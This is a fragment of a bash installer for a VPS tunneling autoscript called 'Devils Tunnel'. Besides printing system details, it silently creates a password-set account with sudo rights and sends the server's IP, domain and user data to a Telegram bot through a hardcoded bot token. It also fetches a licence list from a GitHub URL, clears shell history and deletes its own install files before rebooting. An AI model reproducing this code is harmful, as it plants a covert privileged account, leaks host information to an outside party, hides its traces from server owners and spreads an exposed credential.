"$Password\n$Password\n"|passwd $Username > /dev/null 2>&1 usermod -aG sudo $Username > /dev/null 2>&1 CHATID="-" KEY="6094210408:AAHx2ZMJ8PbcR4SjKvH1n-qDEGm0HoiAIWY" TIME="10" URL="https://api.telegram.org/bot$KEY/sendMessage" USRSC=$(curl https://raw.githubusercontent.com/Vatay70/izinvps/ipuk/ip | grep $ipsaya | awk '{print $2}') EXPSC=$(curl https://raw.githubusercontent.com/Vatay70/izinvps/ipuk/ip | grep $ipsaya | awk '{print $3}') TIMES=`date -d "0 days" +"%d-%m-%Y" ` TIMEZONE=$(printf '%(%H:%M:%S)T') TEXT=" ──────────────────── AUTOSCRIPT DEVILS TUNNEL ──────────────────── User : $USRSC Domain : $domain Date : $TIMES Time : $TIMEZONE Ip vps : $MYIP Exp Sc : $EXPSC ──────────────────── Automatic Notification from Devils Tunnel "'&reply_markup={"inline_keyboard":[[{"text":"ᴏʀᴅᴇʀ🐳","url":"https://t.me/devilstunnels"},{"text":"GRUP🐬","url":"https://t.me/rizyulvpn"}]]}' curl -s --max-time $TIME -d "chat_id=$CHATID&disable_web_page_preview=1&text=$TEXT&parse_mode=html" $URL >/dev/null } instal echo "" history -c rm -rf /root/*.zip rm -rf /root/*.sh rm -rf /root/LICENSE rm -rf /root/README.md rm -rf /root/domain #sudo hostnamectl set-hostname $user secs_to_human "$(($(date +%s) - ${start}))" echo "" echo -e "" clear echo " 𝗦𝘂𝗰𝗰𝗲𝘀 𝗮𝘁 𝗥𝗲𝗴𝗶𝘀𝘁𝗿𝘆" | tee -a log-install.txt echo " 𝗩𝗣𝗦 𝗜𝗡𝗙𝗢" | tee -a log-install.txt echo " ◇━━━━━━━━━━━━━━━━━━━━━━━◇" | tee -a log-install.txt echo " Isp Vps : $ISP" | tee -a log-install.txt echo " Domain : $domain" | tee -a log-install.txt echo " IP Vps : $MYIP" | tee -a log-install.txt echo " OS Vps : $OS_Name" | tee -a log-install.txt echo " User Script: $USRSC" | tee -a log-install.txt echo " Tanggal : $tanggal" | tee -a log-install.txt echo " Exp Vps : $exp" | tee -a log-install.txt echo " ◇━━━━━━━━━━━━━━━━━━━━━━━◇" | tee -a log-install.txt echo " Hostname : ${HOSTNAME}" | tee -a log-install.txt echo " Kernel : $Kernel" | tee -a log-install.txt echo " Arch : $Arch" | tee -a log-install.txt echo " Ram Total : $Ram_Total MB" | tee -a log-install.txt echo " Ram Used : $Ram_Usage MB" | tee -a log-install.txt echo " ============================" | tee -a log-install.txt echo " ⚠︎𝘽𝙮 𝙋𝙧𝙤𝙟𝙚𝙘𝙩 𝙈𝙖𝙣𝙖𝙜𝙚𝙧 𝘾𝙤𝙢𝙢𝙪𝙣𝙞𝙩𝙮⚠︎" | tee -a log-install.txt echo " ============================" | tee -a log-install.txt echo "" echo "SIMPAN DATA VPS DI ATAS" | tee -a log-install.txt sudo hostnamectl set-hostname $username echo -e "${green} Script Successfull Installed" echo "" read -n 1 -s -r -p "Press ➥ Enter To Reboot Server" echo "" sleep 10 reboot